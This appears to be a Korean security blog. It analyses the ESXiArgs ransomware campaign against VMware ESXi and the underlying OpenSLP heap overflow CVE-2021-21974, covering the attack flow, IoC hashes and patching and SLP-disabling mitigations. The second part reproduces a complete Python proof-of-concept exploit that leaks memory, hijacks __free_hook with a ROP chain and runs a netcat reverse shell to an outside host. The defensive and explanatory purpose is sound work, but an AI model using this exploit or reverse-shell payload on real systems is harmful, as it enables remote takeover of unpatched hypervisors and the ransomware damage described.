1. 개요

- 최근 VMware ESXi 취약점을 이용하여 랜섬웨어가 유포

- 전 세계적으로 약 3,800개의 서버가 피해를 받았으며, 피해를 입은 한 기업은 약 2만 3,000달러의 비트코인이 몸값으로 요구됨

- 프랑스, 미국, 독일, 캐나다 등을 공격

[사진 1] ESXiargs에 공격받은 국가 TOP 10

- 악용되는 취약점은 CVE-2021-21974OpenSLP의 힙 오버플로우 문제로 인해 발생하는 원격 명령 실행 취약점

제품명 플랫폼 영향 받는 버전
ESXi 모든 플랫폼 ESXi650-202102101-SG 이전 6.5.x 버전
ESXi670-202102401-SG 이전 6.7.x 버전
ESXi70U1c-17325551 이전 7.x 버전

- 해당 취약점은 2년전 VMware에서 패치를 발표하였으나, 패치를 적용하지 않은 취약한 ESXi 서버를 대상으로 공격 수행

- 쇼단의 Facet 기능(통계 요약 서비스)을 이용해 ESXi의 버전을 확인한 결과 취약한 버전이 다수 사용되는 것으로 확인됨

[사진 2] 쇼단 검색 결과

2. ESXiArgs Ransomware

- ESXiArgs의 동작과정은 [사진 3]과 같음

[사진 3] ESXiArgs 동작 과정

 

- ESXiArgs에 서버가 침해되면 다음 파일이 /tmp 폴더에 저장

파일명 설명
encrypt - 암호화기
- ELF 실행 파일
encrypt.sh - 암호화를 실행하기 전에 다양한 작업을 수행
- 공격 로직 역할을 하는 셸 스크립트
public.pem - 암호화 키를 암호화하는 데 사용되는 보조 공개 RSA 키
motd - "오늘의 메시지"로 표시되는 랜섬 노트
- /etc/motd에 복사되는 텍스트 형식의 랜섬 노트로, 서버의 원본 파일은 /etc/motd1에 복사
※ MOTD(Message Of The Day): 사용자가 처음 연결하거나 로그인하거나 시작할 때 표시되는 일종의 환영 메세지
index.html - VMware ESXi의 홈 페이지를 대체할 HTML 형식의 랜섬 노트

 

2.1 기술적 분석

- 다음의 명령을 사용함

encrypt <public_key> <file_to_encrypt> [<enc_step>] [<enc_size>] [<file_size>]
  enc_step - 암호화 시 넘어갈 MB 크기
  enc_size - 암호화 블록의 MB 크기
  file_size - 파일 크기(바이트)(스퍼스 파일의 경우)

 

- 스크립트는 먼저 "esxcli vm process list" 명령을 사용함

① ESXi 서버에서 실행 중인 가상 시스템의 구성 파일을 식별

② 가상 디스크 및 스왑 파일의 경로를 수정_'.vmdk'를 '1.vmdk'로, '.vswp'를 '1.vswp'로 대체

- 구성 파일의 파일 이름을 변경함으로써 암호화 후 피해자가 원본 데이터를 찾아 복원하는 것을 어렵게 하기 위한 목적

[사진 4] 구성 파일을 수정하는 코드

 

- ESXi 서버의 볼륨에서 ".vmdk", ".vmx", ".vmxf", ".vmsd", ".vmsn", ".vswp", ".vmss", ".nvram", ".vmem" 확장자 검색

- 그 후 public.pem과 encrypt를 사용해 해당 확장자를 암호화

[사진 5] 암호화 코드

 

- /usr/lib/vmware 디렉토리에서 "index.html"이라는 파일을 검색하고 랜섬 노트로 변경

① 원본 index.html를 index1.html로 이름을 바꾼 후 랜섬노트를 포함한 index.html을 해당 경로로 복사

② 원본 /etc/motd를 motd1로 이름을 바꾼 후 랜섬노트를 포함한 motd를 해당 경로로 복사

[사진 6] 랜섬노트 생성

 

- .log 파일을 찾아 삭제하여 랜섬웨어에 의해 생성된 모든 흔적을 삭제

- encrypt 문자열이 포함된 실행 중인 프로세스가 없음(암호화 완료)을 확인한 후 루프 종료

 

[사진 7] 로그 등 공격 흔적 삭제

 

- 추가적으로 피해 컴퓨터에서 특정 파일을 수정 및 삭제

[사진 8] 특정 파일 수정 및 삭제

 

- 최종적으로 랜섬웨어 감염 후 사용자가 접속을 할 경우 랜섬노트가 출력되어 감염 사실을 알림

[사진 9] 랜섬노트

3. 대응방안

① 미국의 사이버 보안 전담 기관인 CISA가 복호화 도구 ESXiArgs-Recover를 배포

> 암호화 된 설정 파일을 삭제하는 게 아니라 새로운 설정 파일을 생성

> 하지만, 해당 복구 스크립트를 무력화하는 새로운 버전이 확인됨

 

② 복구 스크립트 실행 후 다음을 수행 (취약한 ESXi 버전을 사용할 경우 또한 수행)

> 즉시 ESXi를 최신 버전으로 업데이트

제품명 플랫폼 영향 받는 버전 패치 버전
ESXi 모든 플랫폼 6.5 ESXi650-202102101-SG
6.7 ESXi670-202102401-SG
7.0 ESXi70U1c-17325551 

> 영향도 확인 후 SLP(TCP/UDP 427 Port)이 불필요할 경우 비활성화

  ⒜ 명령어 사용

    i) ssh로 취약한 ESXi 호스트에 로그인
    ii) 아래 명령어로 호스트 SLP 서비스 중지
      - /etc/init.d/slpd stop
    iii) 재부팅 후에도 비활성화를 유지하려면 아래 명령어를 입력
      - chkconfig slpd off

 

  ⒝ GUI 사용

    i) vCenter에 로그인
    ii) ESXi 호스트를 선택하고 'Configure'-'Service' 탭 클릭
    iii) 목록에서 SLP 서비스를 선택
      * 목록에 SLP가 없다면 명령어로 SLP 서비스를 중지
    iv) 알림창의 서비스 중지 버튼('OK')를 클릭

 

③ vmtools.py 파일 삭제

> vmtools.py는 python으로 제작된 백도어로 이번 공격에 사용된 것으로 판단됨

> "/store/packages/" 위치에 있는지 확인 후 삭제

 

④ 일반적인 랜섬웨어 대응 가이드라인 준수

> 정기적인 백업 수행 및 물리적으로 분리된 네트워크나 저장소에 백업

> OS, 안티바이러스 등에 최신 업데이트를 적용

> 출처가 불분명한 파일 또는 메일 등 열람 및 다운로드 주의

> 감염된 장치가 있을 경우 네트워크에서 제거

> 임직원 대상 보안 교육 진행

 

⑤ 모니터링

> 침해지표 확인 후 보안장비(방화벽, IPS, EDR 등)에 적용

 

> C2 의심 또는 스캔 시도 IP 목록

 

GitHub - fastfire/IoC_Attack_ESXi_Feb_2023: Collection of IoCs available and related to attacks on ESXi infrastructures that occ

Collection of IoCs available and related to attacks on ESXi infrastructures that occurred as of Friday February 3, 2023. - GitHub - fastfire/IoC_Attack_ESXi_Feb_2023: Collection of IoCs available a...

github.com

 

> IoC 확인

파일명 해시값
encrypt.sh SHA-256 10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459
MD5 d0d36f169f1458806053aae482af5010
encrypt SHA-256 11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66
MD5 87b010bc90cd7dd776fb42ea5b3f85d3

 

> TOX ID(랜섬노트에서 식별) : D6C324719Ad0AA50A54E4F8DED8E8220D8698DD67B218B5429466C40E7F72657C015D86C7E4A

 

4. 참고

https://www.bleepingcomputer.com/news/security/vmware-warns-admins-to-patch-esxi-servers-disable-openslp-service/
https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/#:~:text=Finally%2C%20the%20script%20performs%20some%20cleanup
https://www.bleepingcomputer.com/forums/t/782193/esxi-ransomware-help-and-support-topic-esxiargs-args-extension/page-14#entry5470686
https://blog.cyble.com/2023/02/06/massive-ransomware-attack-targets-vmware-esxi-servers/
https://www.trustedsec.com/blog/esxiargs-what-you-need-to-know-and-how-to-protect-your-data/
- https://thehackernews.com/2023/02/new-esxiargs-ransomware-variant-emerges.html?m=1
- https://www.dailysecu.com/news/articleView.html?idxno=143437
https://www.rapid7.com/blog/post/2023/02/06/ransomware-campaign-compromising-vmware-esxi-servers/
https://thehackernews.com/2023/02/new-wave-of-ransomware-attacks.html
https://ggonmerr.tistory.com/197

'랜섬웨어 > 분석' 카테고리의 다른 글

LockBit 랜섬웨어 동향  (0) 2023.06.16
다크파워 (Dark Power) 랜섬웨어  (1) 2023.03.28
Masscan 랜섬웨어  (0) 2022.10.12
LockBit 3.0 랜섬웨어 빌더 분석  (1) 2022.10.04

1. ESXi

- 가상 컴퓨터를 배치하고 서비스를 제공할 목적으로 VM웨어가 개발한 엔터프라이즈 계열 타입 1 하이퍼바이저

※ 하이퍼바이저: 단일 물리 머신에서 여러 가상 머신을 실행하고 관리할 수 있도록 해주는 소프트웨어

 

1.1 OpenSLP (Open Service Location Protocol)

- 클라이언트가 사전 구성 없이 네트워크에서 사용 가능한 서비스를 동적으로 검색할 수 있도록 하는 서비스 검색 프로토콜

- 대부분 UDP를 사용하나, 긴 패킷을 전송할 경우 TCP 또한 사용가능하며, 427 포트를 사용

구성 설명
User Agents
(UA, 사용자 에이전트)
- 서비스를 검색하는 장치
Service Agents
(SA, 서비스 에이전트)
- 하나 이상의 서비스를 알리는 장치
Directory Agents
(DA, 디렉터리 에이전트)
- 서비스 정보를 캐시하는 장치
- 트래픽 양을 줄이고 SLP 확장을 허용하기 위해 더 큰 네트워크에서 사용
- 선택 사항이지만 DA가 있는 경우 UA와 SA는 DA를 통해 통신

 

패킷 설명
서비스 요청 - UA가 사용하고자 하는 서비스를 네트워크에서 찾기위한 패킷
- 가능한 모든 결과를 얻기 위해 반복적으로 멀티캐스트 전송
- 참고 : https://datatracker.ietf.org/doc/html/rfc2608#section-8.1
속성 요청 - 서비스 요청에 대한 SA의 응답 패킷
- UA가 주어진 서비스 또는 전체 서비스 유형의 속성을 확인하도록 하여 사용 가능한 서비스에 대한 쿼리를 수행
- 참고 : https://datatracker.ietf.org/doc/html/rfc2608#section-10.3
서비스 등록 - SA가 서비스 등록(제공)을 위해 DA에 전송하는 패킷
- 참고: https://datatracker.ietf.org/doc/html/rfc2608#section-8.3
- URL에 대한 정보를 entry로 가짐
- 참고: https://datatracker.ietf.org/doc/html/rfc2608#section-4.3
디렉토리 에이전트 알림 - 전반적인 DA의 상태를 알리기위한 패킷
- 참고: https://datatracker.ietf.org/doc/html/rfc2608#section-8.5

 

2. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2021-21974

- ESXi에서 사용되고 있는 OpenSLP의 힙 오버플로 취약점을 트리거하여 원격 코드를 실행할 수 있는 취약점

제품명 플랫폼 영향 받는 버전
ESXi 모든 플랫폼 6.5
6.7
7.0
힙 영역
- 필요에 의해 동적으로 할당된 변수를 저장하며, 실행 시 크기가 결정됨.
- 메모리의 낮은 주소에서 높은 주소의 방향으로 할당

힙 오버플러
- 메모리 영역 중 힙 데이터 영역에서 발생하는 버퍼 오버플로우
- 프로그램의 함수 포인터를 조작하여 임의의 명령을 실행하는 등의 악성 동작을 수행

※ 스택영역: 지역변수와 매개변수가 저장되며, 함수 호출 시 크기가 결정, 메모리의 높은 주소에서 낮은 주소방향으로 할당
※ 스택 오버플러: 함수의 RET를 조작하여 임의의 명령을 실행하는 등의 악성 동작을 수행

 

2.1 분석

- OpenSLP는 관리자 권한으로 실행되며, 인증없이 입력값을 수신하고, 문자열 끝을 미지정하는 문제로 인해 힙오버플로우가 발생

 

- 취약점은 'SLPParseSrvURL' 함수에서 발생

- 해당 함수는 '디렉토리 에이전트 알림' 메시지가 처리될 때 호출됨

undefined4 SLPParseSrvUrl(int param_1,char *param_2,void **param_3)

{
  char cVar1;
  void **__ptr;
  char *pcVar2;
  char *pcVar3;
  void *pvVar4;
  char *pcVar5;
  char *__src;
  char *local_28;
  void **local_24;
  
  if (param_2 == (char *)0x0) {
    return 0x16;
  }
  *param_3 = (void *)0x0;
  __ptr = (void **)calloc(1,param_1 + 0x1d);                                       [1]
  if (__ptr == (void **)0x0) {
    return 0xc;
  }
  pcVar2 = strstr(param_2,":/");                                                   [2]
  if (pcVar2 == (char *)0x0) {
    free(__ptr);
    return 0x16;
  }
  pcVar5 = param_2 + param_1;
  memcpy((void *)((int)__ptr + 0x15),param_2,(size_t)(pcVar2 + -(int)param_2));    [3]

- [1]: param_1(URL의 길이)에 0x1d(29)를 더하여 calloc함으로써 메모리를 할당받음

- [2]: strstr()를 이용해 param_2(사용자 입력 URL)에서 :/의 위치를 찾아 이후 문자열을 pcVar2에 저장

※ strstr은 검색 문자열을 찾지 못할경우나 null 문자에 도달할 경우 0을 반환

- [3]: memcpy()를 이용해 param_2의 (size_t)(pcVar2 + -(int)param_2)만큼을 (void *)((int)__ptr + 0x15)에 복사

 

- param_2는 사용자 입력을 통해 받는 값이지만 strstr()를 사용하기 전에 param_2의 끝에 NULL을 추가하지 않음

- 따라서 범위 밖의 문자열을 검사하여 memcpy 부분에서 heap overflow가 발생

 

- SLP를 통해 RCE를 수행하기 위해 SLP에서 송수신에 사용되는 struct _SLPBuffer의 구조는 다음과 같음

typedef struct _SLPBuffer
{
    SLPListItem listitem;
    size_t  allocated;
    unsigned char*   start;
    unsigned char*   curpos;
    unsigned char*   end;
    // buffer data is appended
}*SLPBuffer;

typedef struct _SLPDSocket
{
    SLPListItem         listitem;
    int                 fd;
    time_t              age;
    int                 state;
// ...
    SLPBuffer           recvbuf; /* Incoming socket stuff */
    SLPBuffer           sendbuf;
// ...
}SLPDSocket;

- VMware의 SLP 코드를 통해 RCE를 트리거하는 과정은 다음과 같음

① 접속상태(connection->state)를 STREAM_WRITE_FIRST로서 덮어씀. 메모리를 leak 하기 위해 sendbuf->curpos를 sendbuf->start로 리셋

② sendbuf->start의 일부분을 2개의 널 바이트로 덮어씀. 연결 후 수신을 기다리면, sendbuf의 주소를 포함한 메모리를 leak 할 수 있음

③ mmap()으로 할당된 recvbuf를 leak 하기 위해 새로운 연결을 하고 sendbuf->curpos를 덮어씀. mmap 된 주소를 통해 libc base 주소를 얻을 수 있음

④ free_hook의 주소를 설정하기 위해 새로운 연결에서 recvbuf->curpos를 덮어씀. 연결 후 전송이 시작되면 free_hook을 덮어쓸 수 있습니다.

⑤ 연결을 종료하면 free_hook을 호출되여 ROP 체인을 시작

ROP(Return-Oreinted-Programming)
- ret영역에 가젯을 이용하여 연속적으로 함수를 호출하며 공격자가 원하는 흐름대로 프로그래밍 하듯 공격
- 총 두가지 과정으로 나뉘어짐
① 공격을 하기위해 필요한 요소들을 구하는 과정
② ①에서 구한 요소들을 가지고 Exploit

 

2.2 PoC

- 대상 서버에 조작된 SLP 패킷 생성 및 전송하여 힙 오버플로를 유발한 후 임의의 명령을 실행하는 과정으로 판단됨

#!/usr/bin/python3

import sys
import time
import trace
import queue
import struct
import socket
import threading

IP = sys.argv[1]
#shell_cmd = b'echo "pwned" > /tmp/pwn'
shell_cmd = b'mknod /tmp/backpipe p ; /bin/sh 0</tmp/backpipe | nc 192.168.0.194 80 1>/tmp/backpipe'

DEBUG = False
PRINT = True
LOG_LEAK = False

T = 0.3 #0.4
PORT = 427
COMMAND = 'command'
MARKER = b'\xef\xbe\xad\xde'

LISTEN = 0x65
STREAM_READ = 0x6c
STREAM_WRITE = 0x6f
STREAM_READ_FIRST = 0x6d

LISTEN_FD = 0x8

leaked_data = b'\x00\x00\x00\x00'
leaked_values = None

class SLP_Thread(threading.Thread):
    def __init__(self, input_q):
       super(SLP_Thread, self).__init__()
       self.input_q = input_q

    def run(self):
       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       while True:
          try:
             
             data = self.input_q.get(True, 0.05)
             name = threading.current_thread().name.replace('Thread','SLP Client') 
             
             if 'connect' == data[COMMAND]:
                if PRINT:
                   print('[' + name + '] connect')
                s.connect((IP, PORT)) 
             
             elif 'service request' == data[COMMAND]:
                arg1 = data['arg1'] 
                outgoing = self.generate_srv_rqst(arg1)
                if PRINT:
                   print('[' + name + '] service request')
                s.send(outgoing)
                d = s.recv(1024)
                if PRINT:
                   print('[' + name + '] recv: ', d)
 
             elif 'directory agent advertisement' == data[COMMAND]:
                arg1 = data['arg1']
                arg2 = data['arg2']
                outgoing = self.generate_da_advert(arg1, arg2)
                if PRINT:
                   print('[' + name + '] directory agent advertisement')
                s.send(outgoing)
                d = s.recv(1024)
                if PRINT:
                   print('[' + name + '] recv: ', d)
       
             elif 'service registration' == data[COMMAND]:
               arg1 = data['arg1']
               arg2 = data['arg2']
               arg3 = data['arg3']
               arg4 = data['arg4']       
               outgoing = self.generate_srv_reg(arg1, arg2, arg3, arg4)
               if PRINT:
                  print('[' + name + '] service registration')
               s.send(outgoing)
               d = s.recv(1024)
               if PRINT:
                  print('[' + name +'] recv: ', d)

             elif 'attribute request' == data[COMMAND]:
               arg1 = data['arg1']
               arg2 = data['arg2']
               outgoing = self.generate_attrib_rqst(arg1)
               if PRINT:
                  print('[' + name + '] attribute request')
               s.send(outgoing)
               output = b''
               for i in range(0, arg2):
                  output += s.recv(1)
               if PRINT:
                  print('[' + name + '] recv: ', output)
             
             elif 'recv' == data[COMMAND]:
                output = b''
                arg1 = data['arg1']
                arg2 = data['arg2']
                for i in range(0, arg2):
                   output += s.recv(1)
                if arg1:
                   print('[' + name + '] recv: ', output)
             
             elif 'leak data' == data[COMMAND]:
                outgoing = b''
                incoming = b''
                arg1 = data['arg1']   
  
                if arg1 > 0:
                
                   for i in range(0, arg1):
                      outgoing += s.recv(1)

                   #print(outgoing.hex())

                   global leaked_data
                   leaked_data = outgoing            
 
                else:

                   while True:
                      incoming = s.recv(1)
                      outgoing += incoming
                      if MARKER in outgoing:
                         break
                   
                   global leaked_values
                   leaked_values = []

                   try:
                      for i in range(0, len(outgoing), 4):
                         v = struct.unpack('<I', outgoing[i : i+4])[0]
                         leaked_values.append(v)
                   except:
                      pass

             elif 'close' == data[COMMAND]:
                if PRINT:
                   print('[' + name + '] close')
                s.close()
                break
       
          except queue.Empty:
             continue 

    def generate_slp_header(self, payload, functionid, xid, extoffset):
       packetlen = len(payload) + 16
       if extoffset:
          extoffset += 16
       header = bytearray([2, functionid])
       header.extend(struct.pack('!IH', packetlen, 0)[1:])
       header.extend(struct.pack('!IHH', extoffset, xid, 2)[1:])
       header.extend(b'en')
       return header

    def generate_srv_rqst(self, data):
       srvtype = prlist = scopes = predicate = b''
       spi = data
       payload = bytearray(struct.pack('!H', len(prlist)) + prlist)
       payload.extend(struct.pack('!H', len(srvtype)) + srvtype)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(predicate)) + predicate)
       payload.extend(struct.pack('!H', len(spi)) + spi)
       header = self.generate_slp_header(payload, 1, 5, 0)
       return header + payload

    def generate_da_advert(self, url, scopes):
       error_code = 0
       boot_time = int(time.time())
       attributes = spi = auth_blocks = b''
       payload = bytearray(struct.pack('!H', error_code) + struct.pack('!I', boot_time))
       payload.extend(struct.pack('!H', len(url)) + url)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(attributes)) + attributes)
       payload.extend(struct.pack('!H', len(spi)) + spi)
       payload.extend(struct.pack('!H', len(auth_blocks)) + auth_blocks)
       header = self.generate_slp_header(payload, 8, 0, 0)
       return header + payload
   
    def generate_url_entry(self, url):
       lifetime = 2 * 60 #seconds
       auth_blocks = b''
       payload = bytearray([0])
       payload.extend(struct.pack('!H', lifetime))
       payload.extend(struct.pack('!H', len(url)) + url)
       payload.extend(struct.pack('!B', len(auth_blocks)) + auth_blocks)
       return payload
   
    def generate_srv_reg(self, url, srvtype, scopes, attributes):
       attrib_auth_blocks = b''
       url_entry = self.generate_url_entry(url)
       payload = bytearray(url_entry)
       payload.extend(struct.pack('!H', len(srvtype)) + srvtype)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(attributes)) + attributes)
       payload.extend(struct.pack('!B', len(attrib_auth_blocks)) + attrib_auth_blocks)
       header = self.generate_slp_header(payload, 3, 20, 0)
       return header + payload
   
    def generate_attrib_rqst(self, url):
       scopes = b'DEFAULT'
       prlist = tags = spi = b''
       payload = bytearray(struct.pack('!H', len(prlist)) + prlist)
       payload.extend(struct.pack('!H', len(url)) + url)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(tags)) + tags)
       payload.extend(struct.pack('!H', len(spi)) + spi)
       header = self.generate_slp_header(payload, 6, 12, 0)
       return header + payload

def close():
   time.sleep(T)
   return {'command' : 'close'}

def connect():
   time.sleep(T)
   return {'command' : 'connect'}

def service_request(arg1):
   time.sleep(T)
   return {'command' : 'service request', 'arg1' : arg1}

def da_advert_request(arg1, arg2):
   time.sleep(T)
   return {'command' : 'directory agent advertisement', 'arg1' : arg1, 'arg2' : arg2}

def service_registration(arg1, arg2):
   time.sleep(T)
   return {'command' : 'service registration', 'arg1' : b'127.0.0.1', 'arg2' : arg1, 'arg3' : b'default', 'arg4' : arg2}

def attribute_request(arg1, arg2):
   time.sleep(T)
   return {'command' : 'attribute request', 'arg1' : arg1, 'arg2' : arg2}

def leak_data(arg1 = -1):
   time.sleep(T)
   return {'command' : 'leak data', 'arg1': arg1}

def overflow_and_extend(size, flag):
   arg1 = b'A' * 24
   arg2 = b'B' * 13 + struct.pack('<H', size + flag) + b':/' + b'C' * 647
   return da_advert_request(arg1, arg2)

def update_target_slpdsocket(fd, size, state):
   payload  = b'\xd0\x00\x00\x00'
   payload += b'\x00' * 8 + b'\xbe\xba\xfe\xca'
   payload += struct.pack('<I', fd)
   payload += b'\x00' * 4
   payload += struct.pack('<I', state)
   payload += b'\x00' * 12
   payload += b'\x02\x00\x00\x00'
   payload += b'\x7f\x00\x00\x01'
   payload += b'\x00' * 8
   filler = b'A' * (size - 0x76)
   return service_request(filler + payload)

def partial_update_target_send_buffer(size, send_buffer_size, flag, data):
   payload  = struct.pack('<I', send_buffer_size + flag)
   payload += b'\x00' * 8
   payload += struct.pack('<I', send_buffer_size - 0x20)
   payload += data #b'\x00' * 2
   filler = b'A' * (size - 0x56)
   return service_request(filler + payload)

def update_target_send_buffer(size, send_buffer_size, flag, address, length):
   payload = struct.pack('<I', send_buffer_size + flag)
   payload += b'\x00' * 8
   payload += struct.pack('<I', send_buffer_size - 0x20)
   payload += struct.pack('<I', address) * 2
   payload += struct.pack('<I', address + length)
   payload += b'\x00' * 0x10
   filler = b'A' * (size - 0x66)
   return service_request(filler + payload)

def update_target_recv_buffer(size, address):
   size += 0x1a
   payload  = b'\x40\x00\x00\x00'
   payload += b'\x00' * 8
   payload += struct.pack('<I', size)
   payload += struct.pack('<I', address - 26) * 2 + struct.pack('<I', address - 26 + size)     
   filler = b'A' * 0xca
   return service_request(filler + payload)

def block(size):
   if size > 0x38:
      size = size - 0x38
   else:
      size = 1
   return service_request(b'A' * size)

def breakpoint():
   time.sleep(T)
   input('breakpoint')

def exploit():
   count = 60
   requests = [0]
   slpclients = [0]

   global leaked_data
   global leaked_values

   requests.extend([queue.Queue() for i in range(1, count)])
   slpclients.extend([SLP_Thread(input_q = requests[i]) for i in range(1, count)])

   for i in range(1, count):
      slpclients[i].start()

   requests[1].put(connect())
   requests[1].put(da_advert_request(b'roflmao://pwning', b'BBB'))

   requests[2].put(connect())
   requests[3].put(connect())
   requests[4].put(connect())
   requests[5].put(connect())

   requests[2].put(block(0x40))
   requests[3].put(block(0x40))
   requests[4].put(block(0x40))
   requests[5].put(block(0x40))

   requests[6].put(connect())
   requests[6].put(block(0x810))
   requests[7].put(connect())
   requests[8].put(connect())
   requests[6].put(close())
   requests[9].put(connect())
   requests[9].put(overflow_and_extend(0x140, 0x1))
   fd = 0xc
   requests[8].put(update_target_slpdsocket(fd, 0x140, STREAM_READ_FIRST))
   requests[7].put(service_registration(b'service:pwn', MARKER + b'B' * (0x3200 - 21 - 4)))
   requests[8].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[10].put(connect())
   requests[10].put(block(0x70))

   requests[11].put(connect())
   requests[12].put(connect())
   requests[13].put(connect())
   requests[11].put(block(0x810))
   requests[14].put(connect())
   requests[14].put(block(0x160))
   requests[12].put(block(0x810))
   requests[14].put(close())
   requests[15].put(connect())
   requests[15].put(attribute_request(b'service:pwn', 0x20))

   requests[13].put(block(0x110))
   requests[16].put(connect())
   requests[17].put(connect())

   requests[12].put(close())
   requests[18].put(connect())
   requests[18].put(overflow_and_extend(0x120, 0x3))
   requests[17].put(partial_update_target_send_buffer(0x120, 0x3220, 0x1, b'\x00\x00'))
   requests[19].put(connect())
   requests[19].put(block(0x178))

   requests[11].put(close())
   requests[20].put(connect())
   requests[20].put(overflow_and_extend(0x140, 0x1))
   fd = 0x11
   requests[16].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
   requests[16].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[21].put(connect())
   requests[21].put(block(0x178))
   requests[15].put(leak_data())

   time.sleep(T + 1.0)

   heap_address = 0
   libc_base_address = 0

   if leaked_values == None:
      print("[-] Exploit Failed [-]")
      return -1

   leaked_values = leaked_values[::-1]

   if LOG_LEAK:  
      for i in leaked_values:
         print(hex(i))
 
   if leaked_values[0] == 0xdeadbeef:
      heap_address = leaked_values[6] - 0x3220 + 0x4
     
   elif leaked_values[0] == 0xefeb3174:
      heap_offset = 0x2b1 if leaked_values[42] == 0x42424242 else 0x5d61
      heap_address = leaked_values[14] + heap_offset
   
   libc_leak_location = heap_address - 0x100 + 4
      
   requests[22].put(connect())
   requests[22].put(block(0x810))
   requests[23].put(connect())
   requests[23].put(block(0x100))
   requests[24].put(connect())
   requests[24].put(block(0x810))
   requests[23].put(close())
   requests[25].put(connect())
   requests[25].put(block(0x698))

   requests[27].put(connect())
   requests[28].put(connect())

   requests[24].put(close())
   requests[26].put(connect())
   requests[26].put(overflow_and_extend(0x130, 0x1))
   requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_leak_location, 0x4))
   requests[29].put(connect())
   requests[29].put(block(0x178))
   
   requests[22].put(close())
   requests[30].put(connect())
   requests[30].put(overflow_and_extend(0x140, 0x1)) 
   fd = 0x15
   requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
   requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[31].put(connect())
   requests[31].put(block(0x178))
   requests[25].put(leak_data(0x4))
 
   time.sleep(T + 1.0)
   libc_base_address = struct.unpack('<I', leaked_data)[0] - 0x193568

   libc_ret_offset = 0x0008009c
   libc_system_offset = 0x0003e390
   libc_environ_offset = 0x00194e20
   libc___free_hook_offset = 0x001948d8
   libc_ret_address = libc_base_address + libc_ret_offset
   libc_system_address = libc_base_address + libc_system_offset
   libc_environ_address = libc_base_address + libc_environ_offset
   libc___free_hook_address = libc_base_address + libc___free_hook_offset
   shell_cmd_address = heap_address + 0x34

   gadget_offset = 0x0007fe01 # add esp, 0x100 ; ret
   gadget_address = libc_base_address + gadget_offset

   requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_environ_address, 0x4))
   requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
   requests[25].put(leak_data(0x4))
 
   time.sleep(T + 1.0)
   stack_environ_address =  struct.unpack('<I', leaked_data)[0]
   esp_offset = 0xe30 if sys.argv[2] == '1' else 0xe7c
   esp_value = stack_environ_address - esp_offset
   pivoted_esp_value = esp_value + 0x100

   print()
   print('[+] libc base address: ', hex(libc_base_address))
   print("[+] libc system address: ", hex(libc_system_address))
   print("[+] libc environ address: ", hex(libc_environ_address))
   print("[+] libc __free_hook address: ", hex(libc___free_hook_address))
   print("[+] ret address: ", hex(libc_ret_address))
   print("[+] gadget address: ", hex(gadget_address))
   print('[+] heap address: ', hex(heap_address))
   print("[+] shell command address: ", hex(shell_cmd_address))
   print("[+] stack enviorn address: ", hex(stack_environ_address))
   print("[+] esp value: ", hex(esp_value))
   print("[+] pivoted esp value: ", hex(pivoted_esp_value))
   print()

   requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   
   requests[32].put(connect())
   requests[32].put(block(0x810))
   requests[33].put(connect())
   requests[34].put(connect())
   requests[34].put(block(0x810))
   requests[33].put(block(0x100))
  
   requests[35].put(connect())
   requests[36].put(connect())

   requests[34].put(close())
   requests[37].put(connect())
   requests[37].put(overflow_and_extend(0x120, 0x3))
   requests[36].put(update_target_recv_buffer(0x4, shell_cmd_address))
   requests[38].put(connect())
   requests[38].put(block(0x178))
   
   requests[32].put(close())
   requests[39].put(connect())
   requests[39].put(overflow_and_extend(0x140, 0x1))
   requests[35].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[40].put(connect())
   requests[40].put(block(0x178))   

   fd = 0x1a
   payload = shell_cmd + b'\x00'
   requests[36].put(update_target_recv_buffer(len(payload), shell_cmd_address))
   requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
   requests[33].put(service_request(payload))
   
   payload = struct.pack('<I', libc_ret_address) * 10 + struct.pack('<I', libc_system_address) + b'\x41' * 4 + struct.pack('<I', shell_cmd_address)
   requests[36].put(update_target_recv_buffer(len(payload), pivoted_esp_value - 0x10)) 
   requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
   requests[33].put(service_request(payload))
   
   #breakpoint()
   
   payload = b'\x41\x41\x41\x41' if DEBUG == True else struct.pack('<I', gadget_address)
   requests[36].put(update_target_recv_buffer(len(payload), libc___free_hook_address))
   requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
   requests[33].put(service_request(payload))

   time.sleep(T + 1.0) 
   print('[*] exploit deployed')
   return 0

def intro():
   print("   _____   _____   ___ __ ___ _    ___ _ ___ ____ _ _       ")
   print("  / __\ \ / / __|_|_  )  \_  ) |__|_  ) / _ \__  | | |      ")
   print(" | (__ \ V /| _|___/ / () / /| |___/ /| \_, / / /|_  _|     ")
   print("  \___| \_/ |___| /___\__/___|_|  /___|_|/_/ /_/   |_|      ")
   print()
   print("                       PoC Exploit                          ")
   print()
   print("      vuln discovered by: Lucas Leong (@_wmliang_)          ")
   print("           poc by: Johnny Yu (@straight_blast)              ")
   print("                                                            ")
   print()
   print("           currently support the following:                 ")
   print("         [1] VMware ESXi 6.7.0 build-14320388               ")
   print("         [2] VMware ESXi 6.7.0 build-16316930               ")
   print()

if __name__ == '__main__':
   intro()   
   exploit()

3. 대응방안

① 최신 업데이트 적용

※ 참고: https://www.vmware.com/security/advisories/VMSA-2021-0002.html

제품명 플랫폼 영향 받는 버전 패치 버전
